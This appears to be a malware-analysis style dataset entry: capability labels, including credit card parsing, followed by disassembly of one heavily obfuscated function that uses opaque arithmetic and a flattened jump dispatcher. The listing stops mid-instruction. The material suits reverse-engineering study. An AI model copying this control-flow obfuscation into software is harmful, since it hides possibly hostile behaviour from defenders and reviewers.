Function at 0x140385264
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Hash data using murmur3
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x495a0cb6
pushf
not eax
add eax, 0xc36aef51
xor eax, 0xcf2fca26
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x88423b1a
xor eax, 0xefa3f0b1
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xfac1e451
xor eax, 0x935a8113
rol eax, 0x50
popf
cmp eax, 0x63
jne 0x1403852b4
popf
pop rax
jmp 0x140388967
cmp eax, 0x48
jne 0x1403852c3
popf
pop rax
jmp 0x140387bf7
cmp eax, 0x3f
jne 0x1403852d2
popf
pop rax
jmp 0x14038771f
cmp eax, 1
jne 0x1403852e1
popf
pop rax
jmp 0x1403859ee
cmp eax, 0x4a
jne 0x1403852f0
popf
pop rax
jmp 0x140387c7a
cmp eax, 0x1a
jne 0x1403852ff
popf
pop rax
jmp 0x140386699
cmp eax, 0x5d
jne 0x14038530e
popf
pop rax
jmp 0x140388692
cmp eax, 0x58
jne 0x14038531d
popf
pop rax
jmp 0x1403883e4
cmp eax, 0x40
jne 0x14038532c
popf
pop rax
jmp 0x1403877b0
cmp eax, 8
jne 0x14038533b
popf
pop rax
jmp 0x140385e09
cmp eax, 0x2a
jne 0x14038534a
popf
pop rax
jmp 0x140386de8
cmp eax, 0x17
jne 0x140385359
popf
pop rax
jmp 0x140386590
cmp eax, 0x1c
jne 0x140385368
popf
pop rax
jmp 0x14038677f
cmp eax, 0x2e
jne 0x140385377
popf
pop rax
jmp 0x140386fee
cmp eax, 0x4c
jne 0x140385386
popf
pop rax
jmp 0x140387d5a
cmp eax, 0x2b
jne 0x140385395
popf
pop rax
jmp 0x140386e90
cmp eax, 0x1b
jne 0x1403853a4
popf
pop rax
jmp 0x140386732
cmp eax, 0x65
jne 0x1403853b3
popf
pop rax
jmp 0x1403889d7
cmp eax, 0x23
jne 0x1403853c2
popf
pop rax
jmp 0x1403869fd
cmp eax, 0x5b
jne 0x1403853d1
popf
pop rax
jmp 0x140388569
cmp eax, 0x43
jne 0x1403853e0
popf
pop rax
jmp 0x1403879b6
cmp eax, 0x13
jne 0x1403853ef
popf
pop rax
jmp 0x140386349
cmp eax, 0x33
jne 0x1403853fe
popf
pop rax
jmp 0x1403872ea
cmp eax, 0x24
jne 0x14038540d
popf
pop rax
jmp 0x140386ab9
cmp eax, 0x1e
jne 0x14038541c
popf
pop rax
jmp 0x140386824
cmp eax, 0xc
jne 0x14038542b
popf
pop rax
jmp 0x140386019
cmp eax, 0x26
jne 0x14038543a
popf
pop rax
jmp 0x140386c21
cmp eax, 0x27
jne 0x140385449
popf
pop rax
jmp 0x140386c6b
cmp eax, 0x30
jne 0x140385458
popf
pop rax
jmp 0x1403870bd
cmp eax, 0x10
jne 0x140385467
popf
pop rax
jmp 0x14038616e
cmp eax, 0x37
jne 0x140385476
popf
pop rax
jmp 0x140387488
cmp eax, 9
jne 0x140385485
popf
pop rax
jmp 0x140385e88
cmp eax, 0x39
jne 0x140385494
popf
pop rax
jmp 0x14038753e
cmp eax, 0x16
jne 0x1403854a3
popf
pop rax
jmp 0x140386512
cmp eax, 0x3b
jne 0x1403854b2
popf
pop rax
jmp 0x1403875bc
cmp eax, 0x4b
jne 0x1403854c1
popf
pop rax
jmp 0x140387cef
cmp eax, 0x36
jne 0x1403854d0
popf
pop rax
jmp 0x140387415
cmp eax, 0x14
jne 0x1403854df
popf
pop rax
jmp 0x1403863ee
cmp eax, 0x60
jne 0x1403854ee
popf
pop rax
jmp 0x140388864
cmp eax, 0x3d
jne 0x1403854fd
popf
pop rax
jmp 0x140387652
cmp eax, 2
jne 0x14038550c
popf
pop rax
jmp 0x140385a80
cmp eax, 0x47
jne 0x14038551b
popf
pop rax
jmp 0x140387baa
cmp eax, 0x51
jne 0x14038552a
popf
pop rax
jmp 0x140388020
cmp eax, 0x11
jne 0x140385539
popf
pop rax
jmp 0x1403861ff
cmp eax, 0x35
jne 0x140385548
popf
pop rax
jmp 0x1403873d9
cmp eax, 0x68
jne 0x140385557
popf
pop rax
jmp 0x140388b69
cmp eax, 0x12
jne 0x140385566
popf
pop rax
jmp 0x1403862b7
cmp eax, 0x21
jne 0x140385575
popf
pop rax
jmp 0x140386931
cmp eax, 0x38
jne 0x140385584
popf
pop rax
jmp 0x140387508
cmp eax, 0x64
jne 0x140385593
popf
pop rax
jmp 0x14038899d
cmp eax, 0x5c
jne 0x1403855a2
popf
pop rax
jmp 0x1403885d5
cmp eax, 0x15
jne 0x1403855b1
popf
pop rax
jmp 0x1403864a6
cmp eax, 5
jne 0x1403855c0
popf
pop rax
jmp 0x140385c2b
cmp eax, 6
jne 0x1403855cf
popf
pop rax
jmp 0x140385cd4
cmp eax, 0x5a
jne 0x1403855de
popf
pop rax
jmp 0x1403884d8
cmp eax, 0x49
jne 0x1403855ed
popf
pop rax
jmp 0x140387c40
cmp eax, 0x1f
jne 0x1403855fc
popf
pop rax
jmp 0x140386881
cmp eax, 4
jne 0x14038560b
popf
pop rax
jmp 0x140385b95
cmp eax, 0x2f
jne 0x14038561a
popf
pop rax
jmp 0x140387087
cmp eax, 0x4d
jne 0x140385629
popf
pop rax
jmp 0x140387df9
cmp eax, 0x55
jne 0x140385638
popf
pop rax
jmp 0x1403882fb
cmp eax, 0x45
jne 0x140385647
popf
pop rax
jmp 0x140387a6b
cmp eax, 0x2c
jne 0x140385656
popf
pop rax
jmp 0x140386ec9
cmp eax, 0x5f
jne 0x140385665
popf
pop rax
jmp 0x1403887ab
cmp eax, 0x19
jne 0x140385674
popf
pop rax
jmp 0x140386640
cmp eax, 0x1d
jne 0x140385683
popf
pop rax
jmp 0x1403867e7
cmp eax, 0x61
jne 0x140385692
popf
pop rax
jmp 0x1403888b1
cmp eax, 0x53
jne 0x1403856a1
popf
pop rax
jmp 0x1403881a5
cmp eax, 0x4f
jne 0x1403856b0
popf
pop rax
jmp 0x140387f4c
cmp eax, 0x42
jne 0x1403856bf
popf
pop rax
jmp 0x140387922
cmp eax, 7
jne 0x1403856ce
popf
pop rax
jmp 0x140385d65
cmp eax, 0x20
jne 0x1403856dd
popf
pop rax
jmp 0x1403868d3
cmp eax, 0x56
jne 0x1403856ec
popf
pop rax
jmp 0x140388337
cmp eax, 0x3c
jne 0x1403856fb
popf
pop rax
jmp 0x14038761c
cmp eax, 0xd
jne 0x14038570a
popf
pop rax
jmp 0x140386056
cmp eax, 0xa
jne 0x140385719
popf
pop rax
jmp 0x140385f31
cmp eax, 0x18
jne 0x140385728
popf
pop rax
jmp 0x1403865dd
cmp eax, 0x28
jne 0x140385737
popf
pop rax
jmp 0x140386cce
cmp eax, 0x22
jne 0x140385746
popf
pop rax
jmp 0x1403869c3
cmp eax, 0x50
jne 0x140385755
popf
pop rax
jmp 0x140387fe2
cmp eax, 0x52
jne 0x140385764
popf
pop rax
jmp 0x1403880dd
cmp eax, 0x41
jne 0x140385773
popf
pop rax
jmp 0x14038784f
cmp eax, 0x67
jne 0x140385782
popf
pop rax
jmp 0x140388add
cmp eax, 0x32
jne 0x140385791
popf
pop rax
jmp 0x14038722c
cmp eax, 0x29
jne 0x1403857a0
popf
pop rax
jmp 0x140386d5f
cmp eax, 0x3e
jne 0x1403857af
popf
pop rax
jmp 0x1403876b3
cmp eax, 0
jne 0x1403857be
popf
pop rax
jmp 0x1403858cc
cmp eax, 0x4e
jne 0x1403857cd
popf
pop rax
jmp 0x140387ea2
cmp eax, 0x31
jne 0x1403857dc
popf
pop rax
jmp 0x1403871af
cmp eax, 0x62
jne 0x1403857eb
popf
pop rax
jmp 0x140388900
cmp eax, 0x5e
jne 0x1403857fa
popf
pop rax
jmp 0x140388738
cmp eax, 0x25
jne 0x140385809
popf
pop rax
jmp 0x140386b9e
cmp eax, 0xf
jne 0x140385818
popf
pop rax
jmp 0x1403860c9
cmp eax, 0x44
jne 0x140385827
popf
pop rax
jmp 0x140387a36
cmp eax, 0x57
jne 0x140385836
popf
pop rax
jmp 0x140388373
cmp eax, 3
jne 0x140385845
popf
pop rax
jmp 0x140385b03
cmp eax, 0x46
jne 0x140385854
popf
pop rax
jmp 0x140387b04
cmp eax, 0x34
jne 0x140385863
popf
pop rax
jmp 0x14038737d
cmp eax, 0x54
jne 0x140385872
popf
pop rax
jmp 0x140388243
cmp eax, 0x59
jne 0x140385881
popf
pop rax
jmp 0x1403884a3
cmp eax, 0xb
jne 0x140385890
popf
pop rax
jmp 0x140385fc7
cmp eax, 0x66
jne 0x14038589f
popf
pop rax
jmp 0x140388a26
cmp eax, 0x2d
jne 0x1403858ae
popf
pop rax
jmp 0x140386f12
cmp eax, 0xe
jne 0x1403858bd
popf
pop rax
jmp 0x14038608c
cmp eax, 0x3a
jne 0x1403858cc
popf
pop rax
jmp 0x1403875b5
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140103090]
xor rax, rsp
mov qword [rsp + 0x40], rax
movzx eax, word [rcx + 0x3a]
mov edi, 0x6505184e
pushf
not edi
add edi, 0xea6aaa98
xor edi, 0xb282fdff
rol edi, 0xf4
popf
pushf
not edi
add edi, 0x8a7d33d4
xor edi, 0x86415f3e
rol edi, 0xf3
popf
pushf
not edi
add edi, 0xe25ea943
xor edi, 0x8f7a5e7b
rol edi, 0xb1
popf
mov rbx, rcx
lea esi, [rdi - 0x20]
lea r12d, [rdi - 0x77]
cmp ax, 0x64
ja 0x140385995
push rax
pushf
mov eax, 0xd7e6e195
pushf
not eax
add eax, 0xc7e8c668
xor eax, 0xf7153b17
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xea3ddaf2
xor eax, 0xb3818da6
rol eax, 0x57
popf
pushf
not eax
add eax, 0xbfb31210
xor eax, 0xeab42fb5
rol eax, 0x40
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xda30fbd5
pushf
not eax
add eax, 0xf9d7bb5d
xor eax, 0xf7454966
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc72364d3
xor eax, 0xb6de8f1b
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xe7ca4b7f
xor eax, 0xae1351b7
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xd523acfa
xor eax, 0xa592c833
rol eax, 0x4b
popf
jmp 0x1403852a5
je 0x140385a4d
push rax
pushf
mov eax, 0x9ab80d0f
pushf
not eax
add eax, 0xcfe0e362
xor eax, 0xcc5aa311
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xf0587508
xor eax, 0xf60a0f92
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x9ab6be11
xor eax, 0xdb434901
rol eax, 0x70
popf
pushf
not eax
add eax, 0x820fc301
xor eax, 0xad96e9da
rol eax, 0xc
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xd68f88b4
pushf
not eax
add eax, 0xfa21f964
xor eax, 0x915270dd
rol eax, 0x79
popf
pushf
not eax
add eax, 0xaabaacd5
xor eax, 0xdb552cd4
rol eax, 8
popf
jmp 0x1403852a5
cmp ax, 0x41
je 0x140385ad0
push rax
pushf
mov eax, 0x292b588
pushf
not eax
add eax, 0x8fe3de63
xor eax, 0xb852a89a
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x9f463d24
xor eax, 0xc06de3ea
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf15329fc
xor eax, 0x94b53e1e
rol eax, 0x5a
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xa578522d
pushf
not eax
add eax, 0x95b77ff8
xor eax, 0xc277b589
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xdc439fd6
xor eax, 0xcb770dad
rol eax, 0xc4
popf
jmp 0x1403852a5
cmp ax, 0x43
je 0x140385b4f
push rax
pushf
mov eax, 0x774e9a3f
pushf
not eax
add eax, 0xde4f267b
xor eax, 0xdcf7d9f5
rol eax, 0xe
popf
pushf
not eax
add eax, 0xd87aa69a
xor eax, 0xd80f5102
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x9d637b7a
xor eax, 0x93bedc9e
rol eax, 0x31
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x197d0b0e
pushf
not eax
add eax, 0xfcacfbd3
xor eax, 0xaef5ac8f
rol eax, 0xae
popf
pushf
not eax
add eax, 0xc4b2c462
xor eax, 0xf63362ac
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xfbe91f35
xor eax, 0xb2e9315e
rol eax, 0x8e
popf
jmp 0x1403852a5
cmp ax, 0x44
jbe 0x140385bf8
push rax
pushf
mov eax, 0x3b1301c
pushf
not eax
add eax, 0xd69c7bac
xor eax, 0x8c7f6771
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xd241686f
xor eax, 0x9fec338a
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xece92679
xor eax, 0x9e4fe9a6
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xca2240be
xor eax, 0xd8290022
rol eax, 0x34
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x56c7e6d6
pushf
not eax
add eax, 0xcd81c8a3
xor eax, 0xdd0ecc3e
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xeb4cb1a1
xor eax, 0x95d4dbe2
rol eax, 0x95
popf
jmp 0x1403852a5
cmp ax, 0x47
jbe 0x140385c8e
push rax
pushf
mov eax, 0xacdce930
pushf
not eax
add eax, 0xde745ede
xor eax, 0xb5cc3a80
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xa9c6e148
xor eax, 0xb0c5a2bb
rol eax, 0x55
popf
pushf
not eax
add eax, 0xba4d9c89
xor eax, 0xafd67c9d
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xc1f43a01
xor eax, 0xb3895813
rol eax, 0xa3
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x648cf1f7
pushf
not eax
add eax, 0xf204b32e
xor eax, 0xbfba2eba
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x8a247cb1
xor eax, 0x9c75803f
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x80c1fcd1
xor eax, 0xa79545e4
rol eax, 0xf6
popf
jmp 0x1403852a5
cmp ax, 0x53
je 0x140385d20
push rax
pushf
mov eax, 0x3bed0bd4
pushf
not eax
add eax, 0xf36c05ad
xor eax, 0xaa8279b4
rol eax, 0
popf
pushf
not eax
add eax, 0x9e0da9cc
xor eax, 0xbdcc1738
rol eax, 0xec
popf
pushf
not eax
add eax, 0x8a1a9e84
xor eax, 0xb5b42aa6
rol eax, 0x69
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xd5890a3f
pushf
not eax
add eax, 0x8ab8a171
xor eax, 0xf9ba18be
rol eax, 0x40
popf
pushf
not eax
add eax, 0xa1f69ae5
xor eax, 0xde79a9b6
rol eax, 1
popf
pushf
not eax
add eax, 0x9dac5e63
xor eax, 0x871b189b
rol eax, 0x4e
popf
jmp 0x1403852a5
cmp ax, si
je 0x140385dc3
push rax
pushf
mov eax, 0x957545dd
pushf
not eax
add eax, 0xb375c89d
xor eax, 0x9c491d10
rol eax, 0x34
popf
pushf
not eax
add eax, 0xa9278d67
xor eax, 0x876c4d88
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xef23c995
xor eax, 0xc6a1174f
rol eax, 0x91
popf
pushf
not eax
add eax, 0xeeddebe5
xor eax, 0x9ec28e74
rol eax, 0x3c
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x28a8aca2
pushf
not eax
add eax, 0xb77b1076
xor eax, 0xdb7d587a
rol eax, 2
popf
pushf
not eax
add eax, 0xc717c1a5
xor eax, 0xc34a4533
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xb2f2e7de
xor eax, 0xf95c85c8
rol eax, 0xa2
popf
jmp 0x1403852a5
cmp ax, 0x5a
je 0x140385e42
push rax
pushf
mov eax, 0x6204fdad
pushf
not eax
add eax, 0xe7c23696
xor eax, 0xfba3a71e
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x875ce83a
xor eax, 0xb79d943b
rol eax, 0xd1
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x84394e79
pushf
not eax
add eax, 0xc1c71df2
xor eax, 0xf7c5d914
rol eax, 0x91
popf
pushf
not eax
add eax, 0xcfa6c09d
xor eax, 0xd0d5e7c6
rol eax, 0x17
popf
pushf
not eax
add eax, 0x81dff78d
xor eax, 0x9ca6e727
rol eax, 0x58
popf
jmp 0x1403852a5
cmp ax, 0x61
je 0x140385ed8
push rax
pushf
mov eax, 0xb39ea9d0
pushf
not eax
add eax, 0x8b34a49f
xor eax, 0xba57e6aa
rol eax, 0x31
popf
pushf
not eax
add eax, 0xfa422f60
xor eax, 0xeb8b6022
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xb5a2b3f3
xor eax, 0xd13ae99d
rol eax, 0x16
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x46094f4b
pushf
not eax
add eax, 0x8bbb2375
xor eax, 0xff599879
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xc7d79ab2
xor eax, 0x86999053
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xa217174e
xor eax, 0xbce5a9b8
rol eax, 0x70
popf
pushf
not eax
add eax, 0xa6cfa959
xor eax, 0xc2332edc
rol eax, 5
popf
jmp 0x1403852a5
cmp ax, 0x63
jne 0x140385f81
push rax
pushf
mov eax, 0xd32b46c2
pushf
not eax
add eax, 0xe8c903f4
xor eax, 0xd74f5618
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xb3467f33
xor eax, 0xdb5cf066
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xb0dbc699
xor eax, 0x9e050845
rol eax, 0x8b
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x551b51c3
pushf
not eax
add eax, 0xc35fe807
xor eax, 0xdc8fc0c5
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x808bdfc3
xor eax, 0xb0b0ae02
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x836aee67
xor eax, 0xa19f6bdb
rol eax, 0x19
popf
jmp 0x1403852a5
xor edx, edx
call fcn.140132c72
jmp 0x140386931
call fcn.1401bfb18
jmp 0x140386931
mov dl, r12b
push rax
pushf
mov eax, 0x2971374e
pushf
not eax
add eax, 0xb21d90d2
xor eax, 0xda17b57c
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xaec11025
xor eax, 0xde2be466
rol eax, 0xac
popf
jmp 0x1403852a5
call fcn.1402b01ec
jmp 0x140386931
cmp ax, 0x67
jbe 0x140386115
push rax
pushf
mov eax, 0x71263cf8
pushf
not eax
add eax, 0xd8c4d4f8
xor eax, 0xbea4bd14
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x8b18e593
xor eax, 0xfdf7426f
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xf3666682
xor eax, 0xe9944017
rol eax, 0x26
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x4efd1c84
pushf
not eax
add eax, 0x8f96712a
xor eax, 0x86502167
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xb59861d0
xor eax, 0xfc64758f
rol eax, 0x43
popf
pushf
not eax
add eax, 0xbfac9ac6
xor eax, 0xc3176a83
rol eax, 0x45
popf
pushf
not eax
add eax, 0xcfe999bd
xor eax, 0xebae9d29
rol eax, 0xb7
popf
jmp 0x1403852a5
cmp ax, 0x69
je 0x1403861cc
push rax
pushf
mov eax, 0xc823d2b6
pushf
not eax
add eax, 0x8057d3a8
xor eax, 0xf59c0c9b
rol eax, 0x47
popf
pushf
not eax
add eax, 0xacbc926f
xor eax, 0x90c90adf
rol eax, 1
popf
pushf
not eax
add eax, 0x9bb1c36b
xor eax, 0xdf56e282
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xea3ad605
xor eax, 0x9a601946
rol eax, 0xe5
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x9b3f1a58
pushf
not eax
add eax, 0xef075284
xor eax, 0xa2c08d1a
rol eax, 0x75
popf
pushf
not eax
add eax, 0x94c3567f
xor eax, 0xee852b68
rol eax, 0xf8
popf
jmp 0x1403852a5
cmp ax, 0x6e
je 0x14038625e
push rax
pushf
mov eax, 0x74dad926
pushf
not eax
add eax, 0x9c14d479
xor eax, 0xc079c9fc
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x8a248672
xor eax, 0xe82e48c6
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xbf459ea5
xor eax, 0x82efdec1
rol eax, 8
popf
pushf
not eax
add eax, 0xf140ce99
xor eax, 0xb1499377
rol eax, 0x13
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x2755c95b
pushf
not eax
add eax, 0x8b233865
xor eax, 0x899c99ae
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x92c4b9a0
xor eax, 0xccf2a404
rol eax, 0x37
popf
pushf
not eax
add eax, 0xd0331b3b
xor eax, 0xb4d0f271
rol eax, 0x64
popf
pushf
not eax
add eax, 0xf3e982c4
xor eax, 0xcd2efb11
rol eax, 0xab
popf
jmp 0x1403852a5
cmp ax, 0x6f
je 0x140386316
push rax
pushf
mov eax, 0x52f22065
pushf
not eax
add eax, 0xd011690b
xor eax, 0x90ffe0ed
rol eax, 0x11
popf
pushf
not eax
add eax, 0xd038ce4b
xor eax, 0xb16c3437
rol eax, 0x90
popf
pushf
not eax
add eax, 0xea43814f
xor eax, 0xc1485a8a
rol eax, 8
popf
pushf
not eax
add eax, 0xc1b2b715
xor eax, 0xf4cb9832
rol eax, 0x54
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xcd25c9a5
pushf
not eax
add eax, 0xabd842c4
xor eax, 0xcbb0190a
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xae4844cf
xor eax, 0xee481aca
rol eax, 0xee
popf
jmp 0x1403852a5
cmp ax, 0x70
je 0x1403863a8
push rax
pushf
mov eax, 0x97d7753d
pushf
not eax
add eax, 0xf2848b00
xor eax, 0xe1bf94dd
rol eax, 0x67
popf
pushf
not eax
add eax, 0x9731aac1
xor eax, 0x95e80b9a
rol eax, 0x26
popf
pushf
not eax
add eax, 0x82a639e7
xor eax, 0xc7c014ac
rol eax, 0x74
popf
pushf
not eax
add eax, 0x8652057e
xor eax, 0x92c64b61
rol eax, 0xac
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x200c8a1e
pushf
not eax
add eax, 0xa2f469c2
xor eax, 0x89eefd87
rol eax, 0x86
popf
pushf
not eax
add eax, 0xf36747b1
xor eax, 0xab50f857
rol eax, 0x12
popf
pushf
not eax
add eax, 0xb7b78361
xor eax, 0x98f11a27
rol eax, 0xab
popf
jmp 0x1403852a5
cmp ax, 0x73
je 0x14038644d
push rax
pushf
mov eax, 0xed80e4fc
pushf
not eax
add eax, 0xcf7618e2
xor eax, 0x9cbfbf85
rol eax, 0x97
popf
pushf
not eax
add eax, 0xa3eb40b9
xor eax, 0x963bf5f0
rol eax, 0x10
popf
pushf
not eax
add eax, 0xfaea79a0
xor eax, 0xecab560f
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xdcdba7b2
xor eax, 0xe6cedb9b
rol eax, 0xe1
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xc5b1add0
pushf
not eax
add eax, 0xe5fa2d8f
xor eax, 0xebd4e281
rol eax, 0xe
popf
pushf
not eax
add eax, 0xceb95a73
xor eax, 0xa8ae358d
rol eax, 4
popf
pushf
not eax
add eax, 0xa106a14d
xor eax, 0xabba098a
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xd80a614c
xor eax, 0xfbbf30d3
rol eax, 0xe4
popf
jmp 0x1403852a5
cmp ax, 0x75
je 0x1403864df
push rax
pushf
mov eax, 0x91dd900c
pushf
not eax
add eax, 0x8f1502bd
xor eax, 0xf4c406b4
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x99a149b8
xor eax, 0xb2b957a4
rol eax, 0xf8
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x91831a00
pushf
not eax
add eax, 0xe41b8dc8
xor eax, 0xb0249861
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x8802d033
xor eax, 0xec77db44
rol eax, 0x9a
popf
jmp 0x1403852a5
cmp ax, di
jne 0x14038654a
push rax
pushf
mov eax, 0x39cf5188
pushf
not eax
add eax, 0x9159aa98
xor eax, 0xa81c7dd0
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xc833dfec
xor eax, 0xa1b3e055
rol eax, 0x8b
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x524a7fc6
pushf
not eax
add eax, 0xfee5b226
xor eax, 0xca4284ba
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xba43fe59
xor eax, 0x92defa5b
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xd57f6160
xor eax, 0xb115e1be
rol eax, 0xbb
popf
jmp 0x1403852a5
xor edx, edx
jmp 0x14038608c
call fcn.14031248e
jmp 0x140386931
mov dword [rcx + 0x30], reloc.WS2_32.dll_recv
mov dword [rcx + 0x34], reloc.WS2_32.dll_inet_addr
jmp 0x140386056
mov ecx, dword [rcx + 0x28]
mov eax, ecx
shr eax, 5
test r12b, al
je 0x1403866ec
push rax
pushf
mov eax, 0xff1e844f
pushf
not eax
add eax, 0xa0be3392
xor eax, 0xaedc5efd
rol eax, 0x52
popf
pushf
not eax
add eax, 0xe983607c
xor eax, 0x8070a395
rol eax, 0x48
popf
pushf
not eax
add eax, 0xe407c055
xor eax, 0xec86c6a9
rol eax, 0xc0
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xe1d1361
pushf
not eax
add eax, 0xdd55f843
xor eax, 0x85bc1cea
rol eax, 0x27
popf
pushf
not eax
add eax, 0xae0111be
xor eax, 0xc22f2574
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xacbbc0ea
xor eax, 0xa0056c14
rol eax, 7
popf
jmp 0x1403852a5
bts ecx, 7
mov dword [rbx + 0x28], ecx
push rax
pushf
mov eax, 0x7f9260bc
pushf
not eax
add eax, 0xd1a716ae
xor eax, 0xe5eff243
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xcd91bc24
xor eax, 0x9da9d9fe
rol eax, 0x46
popf
pushf
not eax
add eax, 0xc0f8f77a
xor eax, 0xf9733892
rol eax, 0xeb
popf
jmp 0x1403852a5
xor edx, edx
mov rcx, rbx
call fcn.1403684ea
jmp 0x140386931
call fcn.14011dd41
jmp 0x140386931
or dword [rcx + 0x28], 0x10
push rax
pushf
mov eax, 0x9dbd5da7
pushf
not eax
add eax, 0xc118c0a3
xor eax, 0x962ba7d3
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x895e7658
xor eax, 0xdef12ef0
rol eax, 0x70
popf
pushf
not eax
add eax, 0xa51e9eda
xor eax, 0xf2278ee7
rol eax, 8
popf
pushf
not eax
add eax, 0x8655ec12
xor eax, 0x96d96c4e
rol eax, 0xe8
popf
jmp 0x1403852a5
xor edx, edx
call fcn.14029651f
jmp 0x140386931
call fcn.14036e9fa
push rax
pushf
mov eax, 0xf04d3ff6
pushf
not eax
add eax, 0xa4fb481a
xor eax, 0xd935a138
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xcebc467a
xor eax, 0xd0abb1ac
rol eax, 0x10
popf
pushf
not eax
add eax, 0xd2819d42
xor eax, 0xea7c4355
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xcd50dd39
xor eax, 0x8a8f19f1
rol eax, 0xb9
popf
jmp 0x1403852a5
xor ebp, ebp
test al, al
jne 0x14038696a
push rax
pushf
mov eax, 0x1e702caa
pushf
not eax
add eax, 0x8157ec9b
xor eax, 0xae650e01
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xcbf116ee
xor eax, 0xff6e66dc
rol eax, 0x1c
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x7dbb382f
pushf
not eax
add eax, 0xdd929371
xor eax, 0xfa223398
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xb04c1310
xor eax, 0x969664d8
rol eax, 0x23
popf
pushf
not eax
add eax, 0xcd4bb38f
xor eax, 0x839db9ce
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xe432221c
xor eax, 0xe78ea4e5
rol eax, 0xdb
popf
jmp 0x1403852a5
xor al, al
jmp 0x140388b6c
cmp byte [rbx + 0x38], bpl
jne 0x140386a60
push rax
pushf
mov eax, 0x7cf2a2d1
pushf
not eax
add eax, 0xf8f487dc
xor eax, 0xa5456aba
rol eax, 0x62
popf
pushf
not eax
add eax, 0xa5f74ee6
xor eax, 0xd1ef79a4
rol eax, 0x61
popf
pushf
not eax
add eax, 0xe383b512
xor eax, 0xc98957a4
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xed2121e7
xor eax, 0xec91e439
rol eax, 0xf
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x2d96216f
pushf
not eax
add eax, 0x83048ded
xor eax, 0xdac7ee51
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x8e459d13
xor eax, 0x8d8a0ec2
rol eax, 0x20
popf
pushf
not eax
add eax, 0xcd932279
xor eax, 0xe72d165d
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xfaf8b9c1
xor eax, 0xf98246bd
rol eax, 0xa1
popf
jmp 0x1403852a5
mov ecx, dword [rbx + 0x28]
xor eax, eax
mov dword [rsp + 0x34], eax
mov rdx, rbp
mov word [rsp + 0x38], ax
mov r13d, 0xd487c335
pushf
not r13d
add r13d, 0xce7c2d9a
xor r13d, 0x8b3aad47
rol r13d, 0xea
popf
pushf
not r13d
add r13d, 0xcb649c43
